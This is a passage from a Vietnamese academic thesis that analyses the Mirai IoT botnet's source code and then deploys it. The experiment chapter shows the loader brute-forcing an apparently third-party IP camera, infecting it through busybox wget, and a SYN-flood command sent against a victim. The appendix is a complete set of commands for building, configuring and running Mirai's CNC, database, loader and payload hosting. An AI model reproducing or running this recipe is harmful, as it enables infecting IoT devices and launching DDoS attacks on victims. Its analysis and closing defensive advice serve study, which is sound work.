Loader chứa các mã nguồn phục vụ cho việc tạo Report server, thư mục Mirai chứa
mã nguồn tạo các con Bot và tạo CNC server.

Hình Nghiên cứu về mã nguồn botnet mirai.11. Cấu trúc thư mục mã nguồn.

3.1.2. Cách thức điều khiển và lây lan Bots:


Kết nối CNC Server để ra lệnh:
 Bước 1: Attacker kết nối tới CNC qua telnet/ssh tới ip CNC qua port 23
bằng lệnh cmd : “telnet <ipCNC> 23”.

23
 Bước 2: Thực hiện đăng nhập bằng Account được cấp bởi Admin
(Attacker).
 Bước 3: Sử dụng lệnh attack.
Lây lan mã độc:
 Bước 1: Các con Bot trong mạng Botnet sẽ thực thiện rà quét các thiết
bị IoT mới và thực hiện brute force vào các thiết bị nếu không telnet
trực tiếp được.
 Bước 2: Sau khi brute force thành công thiết bị IoT, Bot gửi các thông
tin gồm IP, Port, Username, Password về Report server.
 Bước 3: Lấy thông tin từ Report server cấp cho Loader server để thực
hiện đăng nhập tới thiết bị IoT và load mã độc lây nhiễm thiết bị.
 Bước 4: Thiết bị IoT bị lây nhiễm sẽ thực hiện một số chức năng chính
được cài đặt trước như scan, bruteforce và thực hiện kết nối tới CNC
server.

3.2. Phân tích các thành phần của Botnet Mirai


3.2.1. Máy chủ CNC
a) Chức năng
Thư mục CNC: giám sát, kiểm soát, thực hiện ra lệnh Bot tấn công và quản
lý/cấp quyền cho các Account...
b) Nguyên lý hoạt động
Các mã trong thư mục này được viết trên ngôn ngữ golang nhằm tạo ra một
CNC server có khả năng kết nối giao tiếp giữa attacker và mạng botnet khổng lồ.
CNC server sẽ nghe cổng 23 để nhận telnet từ attacker hoặc thông tin về Bot
mới và 101 thực hiện truyền các lệnh tấn công xuống cho botnet.

24
Hình Nghiên cứu về mã nguồn botnet mirai.12. CNC lắng nghe kết nối
(mirai/cnc/main.go).

Khi nghe ở cổng 23 chương trình sẽ làm nhiệm vụ khác nhau tùy vào dữ liệu
nhận được. Nếu các dữ liệu nhận được có 4 bytes, mà là “00 00 00 x” (byte x> 0),
chương trình xác định rằng dữ liệu này là từ một Bot mới. Ngược lại chương trình
hiểu là có kết nối từ Attacker qua telnet, Attacker thực hiện đăng nhập nếu là có
quyền quản trị thì họ có thể tạo các username khác với số lượng Bot cụ thể được
phép sử dụng.

25
Hình Nghiên cứu về mã nguồn botnet mirai.13. CNC nhận được thông tin là bot
hoặc admin (mirai/cnc/main.go).

Trong file Admin.go:


Dòng 39: Nhập user. Nếu không nhập sẽ dừng chương trình.

Hình Nghiên cứu về mã nguồn botnet mirai.14. Nhập username từ cmd.

Dòng 47 : Nhập Password. Nếu không nhập sau một khoảng thời gian đã được thiết
lập sẽ dừng chương trình.

Hình Nghiên cứu về mã nguồn botnet mirai.15. Nhập password từ cmd.

26
Dòng 62 : Kiểm tra username/password trong Database. Ở bước này, hàm TryLogin
sẽ sử dụng account để đăng nhập vào Database sau đó kiểm tra username/password
có tồn tại hay không? Nếu không tồn tại sẽ hiện thông báo và thoát.

Hình Nghiên cứu về mã nguồn botnet mirai.16. Kiểm tra account trong Database.

In ra các dòng thông báo sau khi đăng nhập thành công.

Hình Nghiên cứu về mã nguồn botnet mirai.17. Thông báo đăng nhập thành công.

Hàm func() sẽ kiểm tra liên tục số lượng Bot connect tới CNC theo Real Time. Với
hàm này hacker sẽ biết được số thiết bị có thể sử dụng tấn công trong thời điểm hiện
tại.

27
Hình Nghiên cứu về mã nguồn botnet mirai.18. Kiểm tra số lượng Bot connect tới
CNC.

Đoạn mã nhằm thiết lập số lượng Bot mà tài khoản có thể được sử dụng. Thử
tưởng tượng với một mạng botnet khổng lồ có thể đánh sập bất cứ thứ gì trên
Internet thì hacker hoàn toàn có thể cho thuê để kiếm lợi nhuận. Như vậy, Hacker sẽ
tạo một tài khoản và kèm với số lượng Bot mà tài khoản đó được sử dụng.
Dòng 122 và 123: Add thêm user/password vào database.
Dòng 133: Nếu nhập -1 thì username có thể sử dụng tất cả số Bot đang active.
Dòng 139: Kiểm tra số lượng Bot nhập vào hợp lệ?
Dòng 144: Kiểm tra thời gian tấn công có hợp lệ? (đơn vị giây)

Hình Nghiên cứu về mã nguồn botnet mirai.19. Thêm và cấu hình cho tài khoản
mới.

28
Hàm attackInfoLookup sẽ trả về các tham số phục vụ cho từng loại tấn công,
Cấu trúc nhập lệnh tấn công: <tên phương thức> <IP> <time (s)> [flag].

Hình Nghiên cứu về mã nguồn botnet mirai.20. Hàm AttackInfoLookup.

3.2.2. Máy chủ Loader


a) Chức năng
Trong thư mục này chứa mã nguồn để xây dựng Loader server, máy chủ thực
hiện việc lây lan bots. Máy chủ này sẽ lắng lấy thông tin của hacker nhập thủ công
từ STDIN. Sau đó Loader server sẽ thực hiện đăng nhập vào các thiết bị IoT và lây
nhiễm mã độc.
b) Nguyên lý hoạt động
Loader server sẽ tạo các socket trên các card mạng để tạo các socket kết nối
đến các IoT đồng thời.

Hình Nghiên cứu về mã nguồn botnet mirai.21. Thiết lập network card cho report
server (loader/main.c).

29
Tiếp theo, tạo các kết nối sẵn sàng cho việc lây lan mã độc bằng việc gọi hàm
server_create (). Nó thực hiện truyền các tham số như ip server lưu trữ malware có
giao thức wget hay tftp. Loader khi điều khiển thiết bị sẽ sử dụng một trong 2 giao
thức này để tải malware từ TFTP server hoặc Wget server về và tiến hành thực thi
malware.

Hình Nghiên cứu về mã nguồn botnet mirai.22. Khởi tạo server chứa mã độc
(loader/main.c).

Loader server sẽ đọc các dữ liệu đầu vào qua chuẩn STDIN từ bàn phím theo
định dạng “IP:Port Username:Password” sử dụng vòng lặp while(TRUE) để liên tục
kiểm tra đầu vào từ người dùng. Tuy nhiên, việc nhập thủ công bằng tay thông tin
cho Loader sẽ dẫn đến khoảng thời gian phát hiện thiết bị và khoảng thời gian lây
nhiễm mã độc bị delay time gây ra khả năng mất thiết bị IoT. Việc này đã được khắc
phục nhờ viết thêm đoạn mã auto chuyển thông tin từ Report server sang Loader
server.

Hình Nghiên cứu về mã nguồn botnet mirai.23. Nhận ip, port, user, pass từ STDIN
(loader/main.c).

30
Hàm worker() này thực hiện các bước đang nhập và lây lan bot bằng cách
truyền các câu lệnh qua tiện ích busybox có sẵn trên các thiết bị IoT. Busybox là
tiện ích để giao tiếp giữa người quản trị và thiết bị IoT qua dòng lệnh CMD (cụ thể
ở đây là bashshell).

Hình Nghiên cứu về mã nguồn botnet mirai.24. Sử dụng busybox login và lây mã
độc (loader/server.c).

3.2.3. Máy chủ Report


a) Chức năng
Tệp tin scanListen viết bằng ngôn ngữ golang giúp lắng nghe các hồi đáp từ
mạng botnet về các thiết bị IoT mới đã bruteforce thành công bởi các con bots trên
mạng.
b) Nguyên lý hoạt động
Lắng nghe kết nối đến cổng 48101 để đợi kết quả gửi về từ bot.

31
Hình Nghiên cứu về mã nguồn botnet mirai.25. Lắng nghe kết nối trên cổng 48101
(scanListen.go).

Thông tin thiết bị được hiển thị. Sau đó, có thể sử dụng thông tin này cung
cấp cho Loader server để tiến hành lây nhiễm mã độc lên thiết bị.

Hình Nghiên cứu về mã nguồn botnet mirai.26. Hiển thị thông tin thiết bị bruteforce
được (scanListen.go).

3.2.4. Mã độc
a) Chức năng
Thư mục bot: chứa mã nguồn bot, thực hiện các chức năng cơ bản mặc định
của bot khi mới lây nhiễm:
 Ẩn tệp tin mã độc.
 Ngăn thiết bị khởi động lại.
 Kill các process đang chiếm cổng 22(ssh)| 23(telnet)| 80(http).
 Tạo kết nối mới tới CNC.
 Ẩn tiến trình hoạt động.
32
 Bruteforce thiết bị IoT rồi gửi về cho Report server.
 Lắng nghe điều khiển của CNC server để chờ yêu cầu tấn công Victim.
b) Nguyên lý hoạt động
Bot sẽ thực hiện che dấu tiến trình của mình bằng cách thay đổi tên ngẫu
nhiên. Thuật toán ngẫu nhiên được sử dụng bằng cách dịch bit và xor.

Hình Nghiên cứu về mã nguồn botnet mirai.27. Che dấu tiến trình
(mirai/bot/main.c).

Khởi tạo các tham số cho kiểu tấn công và cung cấp các loại tấn công khác
nhau (UDP, VSE, DNS, SYN và nhiều kiểu tấn công DDoS khác) để lựa chọn.

Hình Nghiên cứu về mã nguồn botnet mirai.28. Các phương thức tấn công
(mirai/bot/attack.c).

Kill tất cả các tiến trình đang mở cổng 22, 23. Việc này sẽ đảm bảo hacker
khác hoặc quản trị viên không thể kết nối tới thiết bị thông qua dịch vụ này.

33
Hình Nghiên cứu về mã nguồn botnet mirai.29. Kill các cổng dịch vụ
(mirai/bot/killer.c).

Các thiết bị giám sát như Camera thường liên kết với watchdog. Khi có dấu
hiệu treo, không thể sử dụng chức năng thì tiện ích watchdog sẽ reset thiết bị. Như
vậy, mã độc cần ngăn chặn sự việc để tránh ảnh hưởng tới quá trình hoạt động .

Hình Nghiên cứu về mã nguồn botnet mirai.30. Ngăn cản thiết bị reboot lại
(mirai/bot/main.c).

Khởi tạo thông số cho việc rà quét các thiết bị với IP và username, password
mặc định.

34
Hình Nghiên cứu về mã nguồn botnet mirai.31. Tài khoản dùng để bruteforce IoT
mới (mirai/bot/scanner.c).

Dải địa chỉ được thiết lập để mã độc scan địa chỉ IP ngẫu nhiên trong các dải.
Nhờ vậy, mã độc sẽ tránh bị phát hiện và cho vào spam list cũng như firewall.

Hình Nghiên cứu về mã nguồn botnet mirai.32. Địa chỉ bruteforce thiết bị IoT mới
(mirai/bot/scanner.c).

Sau khi rà quét được các thiết bị IoT mới đã brute force các bot sẽ gửi thông
tin về cho Report server, report server sẽ chạy tool scanlisten để lắng nghe hồi đáp
từ bot.

35
Hình Nghiên cứu về mã nguồn botnet mirai.33. Bot gửi thông tin các IoT mới đã
bruteforce (mirai/bot/scanner.c).

Kết nối CNC qua tên miền và port được chỉ định sẵn, ở đây các tên miền và
port đều được mã hóa bởi công cụ “enc”. Công cụ này được biên dịch từ mã nguồn
“enc.c” trong thư mục “tools”.

Hình Nghiên cứu về mã nguồn botnet mirai.34. Khai báo domain và port các server
(mirai/bot/table.c).

36
CHƯƠNG 4. TRIỂN KHAI THỰC NGHIỆM BOTNET MIRAI
TRÊN CÁC THIẾT BỊ IOT

4.1. Mô tả thực nghiệm


Mô hình thực nghiệm sẽ gồm:
• 1 máy chủ Kali linux chứa thành phần 1->5.
IP: 203.162.130.69.
• 1 máy kali linux chứa thành phần 6 và chạy mã độc.mirai.dbg.
IP: 203.162.130.66.
• 1 máy chủ windows server là thành phần 7.
IP: 203.162.130.87.
• 1 máy windows 10 là thành phần 8.
IP: 14.177.140.96.

Number Name Execute Port IP


1 CNC Server CNC 23
2 Loader Server Loader
3 Report Server scanListen.go 48101
4 Mysql Server Mysql 3306 203.162.130.69
Wget & TFTP
5 Apache2 80
Server
mirai.dbg ||
6 Bot 203.162.130.66
mirai.arm
7 Victim 203.162.130.87
CMD ||
8 Attacker 14.177.140.96
Secure CRT
Bảng 1. Thành phần thực nghiệm.

4.2. Thử nghiệm tấn công


Triển khai thực nghiệm sẽ gồm 7 bước cụ thể tương ứng với 5 giai đoạn hình
thành tấn công.
Bước 1. Khởi chạy CNC Server
Bước 1 có 2 nhiệm vụ chính:
1. Kết nối tới Database. Database chứa thông tin về History, Admin bao
gồm Username/Password của Admin, số lượng Max Bot mà Admin có
thể sử dụng tấn công và WhiteList chứa các địa chỉ IP không được tấn
công.
37
2. Mở port 23 chờ kết nối từ Bot và Attacker.

Khởi chạy:

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.35. Khởi chạy CNC
Server.

Phân tích source code:


Dòng 12 -> 15: Chứa thông tin để CNC connect tới Database.
Dòng 18: Gọi hàm đăng nhập Database.
Dòng 21 -> 24: Lắng nghe kết nối đến cổng 23.

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.36. Cài đặt thông tin
của Database (cnc\main.c).

Dòng 23 -> 30: CNC đăng nhập Database

38
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.37. CNC đăng nhập
Database (cnc\database.go).

Bước 2. Khởi chạy Report Server


Mở port 48101 chờ kết quả scan các thiết bị IoT khác của Bot.

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.38. Khởi chạy
scanListen.

Phân tích source code:


Dòng 11 -> 25: Mở port 48101

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.39. Mở port 48101
chờ kết quả từ Bot.

Bước 3. Nhập thiết bị IoT cho Loader lây lan Malware


Bước 3 có 2 nhiệm vụ chính:

39
1. Loader điều khiển thiết bị và lây nhiễm Malware.
2. Hiển thị tổng số lượng về Process xử lý, Connect tới Loader, thiết bị
IoT đăng nhập thành công, Wgets và TFTP.
Tiến hành nhập thông tin thiết bị IoT gồm: IP:Port Username:Password từ
Scanlisten vào loader.

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.40. Nhập Bot cho
Loader.

Loader telnet thiết bị IoT -> Loader thực hiện lây lan Malware.
Phân tích:
IP Loader: 203.162.130.69
IP Bot: 61.222.7.176

40
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.41. Loader kết nối
thiết bị IoT lây nhiễm Malware.

Loader gửi lệnh tới thiết bị IoT nhằm dùng tiện ích Busybox để download và
thực thi Malware.

41
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.42. Loader thực hiện
lây lan Malware.

Bước 4. Attacker telnet tới CNC


Bước 4 có 2 nhiệm vụ:
1. Kết nối và điều khiển CNC theo Realtime.
2. Update số lượng Bot connect.
Sau khi lây Malware thành công ở bước 3 thì giờ đây Attacker đã có thể kết
nối tới CNC và dùng CNC điều khiển Bot.
Attacker ở đây có vai trò là Admin. Attacker sẽ sử dụng CMD để điều khiển
CNC và ra lệnh tới Bot thông qua CNC.

42
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.43. Attacker telnet tới
CNC.

Attacker kết nối tới CNC và đã thấy có 1 Bot kết nối đến CNC.
Phân tích bằng wireshark:

43
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.44. Attacker đăng
nhập CNC.

IP Attacker: 14.177.140.96
IP CNC: 203.162.130.69
Attacker telnet và đăng nhập CNC.
Attacker sử dụng user/pass là hacker/hacker và đã đăng nhập công.
Sau khi follow tcp ta thấy string tương ứng với tài khoản đăng nhập là
hacker/hacker và thông tin về số lượng Bot connect tới CNC.

Phân tích source code:

44
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.45. Kiểm tra kết nối
tới cổng 23 là Bot hay Admin (cnc/main.go).

Dòng 66: Nếu nhận được 4 bytes \x00\x00\x00\x01 => Bot connect CNC.
Ngược lại, Admin connect CNC.

Bước 5. Kiểm tra trạng thái Loader Server, Bot, Report Server
Kiểm tra trạng thái của Loader Server, Bot, Report Server sau khi lây nhiễm
Malware.
1. Loader Server:

45
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.46. Loader hiển thị
Bot kết nối thành công.

Như vậy Bot có IP 61.222.7.176, port 23, tài khoản admin/1111, kiến trúc
arm7.
Và đặc biệt Bot có tiện ích Busybox và có thể sử dụng lệnh Wget. Wget như
đã nói từ trước giúp thiết bị tải Malware từ Wget Server.
2. Bot:

46
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.47. Thông tin Bot
scan thiết bị khác.

Ngay sau khi lây nhiễm Malware vào thiết bị thì Bot sẽ:
 Tự kill các tiến trình đang mở port 23 trên Bot nhằm không cho bất kỳ
ai có thể truy cập vào thiết bị qua port 23.
 Phân giải tên miền CNC
 Kết nối tới CNC
 Tự động bruteforce thiết bị khác và đồng thời giữ kết nối với CNC.
 Gửi kết quả cho Report Server
3. Report Server:

47
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.48. Thông tin thiết bị
mà Bot bruteforce thành công.

Hiển thị thông tin về thiết bị mà Bot bruteforce thành công.


Lưu ý: trong Source code Mirai, Bot chỉ dừng ở mức bruteforce mà chưa
kiểm tra các điều kiện để lây Malware trên thiết bị nên việc này hoàn toàn không có
nghĩa thiết bị phù hợp để lây Bot. Loader server mới là nơi kiểm tra điều kiện và lây
Malware chứ không phải scanListen. Cần phân biệt điều này, đây mới chỉ là điều
kiện cần nhưng chưa đủ.

Bước 6. Attacker tấn công Victim


Bước 6 có 3 nhiệm vụ:
1. Hiển thị thông tin về user đăng nhập và số lượng Bot có thể attack.
2. Nhập lệnh attack
3. Gửi lệnh tới CNC
Nhập lệnh tấn công theo định dạng : <Type Attack> <IP> <Time> [Flags]
Ví dụ: syn 203.162.130.66 30 psh==1
syn 203.162.130.66 3600 ack==1

48
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.49. Nhập lệnh tấn
công.

Lệnh sẽ được Attacker gửi sẽ được gửi như sau:


Attacker nhập lệnh tấn công qua CMD -> CNC -> Bot -> Victim

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.50. Lệnh hacker dùng
tấn công.

IP Attacker: 14.177.140.96
IP CNC: 203.162.130.69
IP Victim: 203.162.130.87
Command: syn 203.162.130.87 20 psh==1
Attacker tấn công Victim bằng Syn Flood và có cả Flag Push trong vòng 20s.

49
Bước 7. Kiểm tra kết quả

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.51. Thiết bị IoT là IP
Camera bị chiếm quyền kiểm soát.

Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.52. Victim bị Attacker
tấn công khiến lưu lượng tăng cao.

Bot liên tục gửi gói tin tấn công Victim trong vòng 20s. Tuy nhiên, số lượng
gói tin Victim phải hứng chịu rất lớn.

50
KẾT LUẬN

Để phòng chống DDoS IoT cần nâng cao ý thức về bảo mật của nhà phát triển
thiết bị, quản trị mạng và người tiêu dùng. Đề tài đã chỉ ra những điểm yếu của thiết
bị IoT từ đó đưa ra các giải pháp phòng chống DDoS IoT như sau:
 Không sử dụng mật khẩu yếu.
 Nâng cấp firmware, bản vá mới.
 Tắt cổng 22, 23 hoặc 80 nếu không sử dụng.
 Nâng cao hiểu biết, trình độ người quản trị.
 Sử dụng Honeypot phân tích mã độc kết hợp firewall ngăn chặn kết nối
tới CNC server.
 Thường xuyên cập nhật thông tin mới về lỗ hổng, cách thức tấn công
mới.
 Khởi động lại thiết bị khi có dấu hiệu là Bot.

Bốn chương của đề tài đã thể hiện được rằng những mục tiêu đặt ra khi thực
hiện đề tài đều đã đạt được. Cụ thể:
Chương 1 đã giới thiệu được tổng quan về Internet of Things. Chương này
cũng đã chỉ ra rằng với xu hướng và những ứng dụng thực tiễn của IoT luôn tồn tại
những mối nguy hiểm tiềm ẩn. Trong đó, mối nguy hiểm lớn và đang hot nhất là
Botnet IoT.
Chương 2 nối tiếp chương một nói cụ thể hơn về sự nguy hiểm của tấn công
từ chối dịch vụ và xu hướng sử dụng Botnet IoT vào tấn công DDoS đang là kim chỉ
nam cho các cuộc tấn công mạng mà hacker đương đại đang nhắm đến.
Chương 3 lần lượt xem xét các thành phần và cấu trúc của mã nguồn Mirai.
Đồng thời cụ thể hóa các kỹ thuật và ý tưởng xây dựng Botnet Mirai của tác giả
thông qua sự phân tích các đoạn mã. Theo đó, sự phân tích đã chỉ ra những nhược
điểm còn thiếu sót trong mã nguồn. Những nhược điểm được lộ rõ đã được em triển
khai khắc phục.
Trong chương 4, thực nghiệm đã mô tả quá trình xây dựng thực tế trên hệ
thống và những thiết bị thật. Mô hình triển khai đã cụ thể hóa các thành phần mã
nguồn, cách chúng kết hợp và tương tác. Từ đó, ai cũng có thể hiểu rõ hơn về hệ
thống Botnet Mirai nói riêng và hệ thống Botnet trên thế giới nói chung.

51
Dù vậy, vẫn còn một số vấn đề liên quan. Trước hết, đề tài này mới chỉ đề cập
đến việc sử dụng bruteforce mà chưa đi sâu vào việc ứng dụng lỗ hổng zero-day,
CVE đã được công bố để khai thác thiết bị IoT do chưa đủ thời gian để nghiên cứu
thêm. Mã nguồn của tác giả có một số thiếu sót trong việc biên dịch sang x86 dẫn
đến lỗi khi chạy trên nền tảng này. Dù em đã cố gắng chỉnh sửa và biên dịch lại
nhưng chưa thành công. Việc giải quyết những điểm tồn tại này cũng chính là hướng
phát triển tương lai của đề tài.

52
TÀI LIỆU THAM KHẢO

[1]. Ths.Trương Hoài Phan, Tìm hiểu về DDoS mô tả cách tấn công và phương pháp
phòng thủ, December 15,2013.
[2]. GSM Accociation, IoT Security Guidelines Overview Document Version 1.1,
November 07, 2016.
[3]. Radware, DDoS Handbook, The Ultimate Guide to Everything You Need to
Know about DDoS Attacks, February 2, 2016.
[4]. Brian Krebs, Krebs on Security, Source Code for IoT Botnet ‘Mirai’,
October 01,2016.
[5]. Mirai DDoS Botnet: Source Code & Binary Analysis,
http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-
analysis/.
[6]. Word’s Largest Net: Mirai Botnet, https://hackforums.net/showthread.php?
tid=5420472.

53
PHỤ LỤC

Các bước cài đặt hệ thống Botnet Mirai:


#Update Sources.list in /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://old.kali.org/kali sana main non-free contrib
deb-src http://old.kali.org/kali sana main non-free contrib

#Update Repo
apt-get update

#Requirements
apt-get install gcc golang electric-fence mysql-server mysql-client

#Git Clone Mirai Source Code


cd /home/mirai
mkdir ddos/
cd ddos/
apt-get install git
git clone https://github.com/jgamblin/Mirai-Source-Code.git
cd Mirai-Source-Code/mirai
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
armv4l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-
armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-
armv6l.tar.bz2

54
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
sparc.tar.bz2

tar -jxf cross-compiler-armv4l.tar.bz2


tar -jxf cross-compiler-armv5l.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2

rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
55
mv cross-compiler-sparc sparc

# PUT THESE COMMANDS IN THE FILE ~/.bashrc


# Cross compiler toolchains
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin

# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go

cd /home/mirai/ddos/Mirai-Source-Code/mirai
./build.sh debug telnet
./build.sh debug telnet
./debug/enc string
edit file bot/table.c
vi bot/table.c

service mysql start


mysql -u root
CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
56
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);
CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);
exit
mysqladmin -u root password root
mysql -u root -p //dang nhap password mysql : root
GRANT ALL ON mirai.* TO 'root'@'127.0.0.1';
GRANT ALL ON mirai.* TO 'root'@'localhost';
use mirai;
INSERT INTO users VALUES (NULL, 'hacker', 'hacker', 0, 0, 0, 0, -1, 1, 30, '');
57
exit
cd cnc/
leafpad main.go
password database : root
port 3306
cd ..
copy file prom.pt vao cnc

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin

# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
./build.sh debug telnet
./build.sh release telnet

#dlr
cd /home/mirai/ddos/Mirai-Source-Code/dlr
edit main.c => IP HTTP Server
comment ./build.sh: line 3: i686-gcc: command not found
./build.sh: line 16: i686-strip: command not found
#DLR build
# apt-get update && apt-get upgrade
58
apt-get install build-essential
Replace i686-gcc with gcc, i686-strip with strip and try again
./build.sh
copy dlr vao file bin cua loader

chmod 777 build.sh


export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
./build.sh
cd release/

cp * ../../loader/bins/
cd ../../loader/src/
leafpad main.c #edit tftp,wget,bind address
cd ..
./build.debug.sh
./build.sh
mkdir /var/www/html/bins
cd /home/mirai/ddos/Mirai-Source-Code/mirai/
cp -R release/mirai.* /var/www/html/bins
cp -R release/miraint.* /var/www/html/bins

cp prompt.txt release/
cd release/
./cnc

59

You might also like